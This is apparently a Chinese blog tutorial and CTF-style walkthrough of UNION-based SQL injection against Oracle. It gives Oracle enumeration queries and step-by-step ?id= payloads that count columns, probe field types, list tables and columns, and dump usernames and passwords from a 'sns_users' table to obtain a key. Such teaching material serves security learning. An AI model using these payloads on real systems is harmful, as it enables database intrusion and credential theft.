Oracle注入联合查询

46 篇文章 25 订阅
22 篇文章 1 订阅


oracle,大型数据库,脚本语言一般是jsp,oracle对应端口1521

oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型

默认用户sys和system,最高权限是dba

0、系统语句

通过字段名找到对应表:
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;

查询第N行:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)

当前用户:
SELECT user FROM dual;

列出所有用户:
SELECT username FROM all_users ORDER BY username;

列出数据库
SELECT DISTINCT owner FROM all_tables;

列出表名:
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;

列出字段名:
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

定位DB文件:
SELECT name FROM V$DATAFILE;

image-20211018104507327

1、order by 定字段

image-20211018104833951

2、判断字符类型

and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下
and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型
第一个字段是字符型时,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型时,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
  判断第n个字段的类型,依次类推即可

image-20211018105146874

两个字段都是字符型

3、判断回显位

image-20211018105604903

4、准备工作

当前用户权限

and 1=2 union select null,(select sys_context('userenv','current_user')from dual) from dual

获取当前数据库名称

and 1=2 union select null,(select instance_name from V$INSTANCE) from dual

获取当前数据库版本

and 1=2 union select null,(select sys.v_$version where rownum=1) from dual

rownum:每次只能显示一条数据

5、爆表

爆当前数据库中的第一个表:
and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual

爆当前数据库中的第二个表:
and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name not in ('第一个表')) from dual
以此类推去爆第n个表

我们需要的是用户的账号密码,因此直接查找存在users字样的表名

and 1=2 union select (select table_name from all_tables where rownum=1 and table_name like '%user%'),'2'from dual

image-20211018110611857

6、从表中获取列名

爆某表中的第一个字段:
and 1=2 union select '1',(select column_name from user_tab_columns where rownum=1 and table_name='表名') from dual

爆某表中的第二个字段:
and 1=2 union select '1',(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一个字段')) from dual

爆其它字段以此类推

?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name = 'sns_users'),'2'from dual

image-20211018110859818

?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2'from dual

image-20211018111256208

7、获取数据

?id=-1 union select user_name,user_pwd from "sns_users"

image-20211018111559407

得到用户名密码不正确

?id=-1 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

得到第二组用户名和密码

image-20211018111623626

登陆后拿到key

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shadow丶S

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值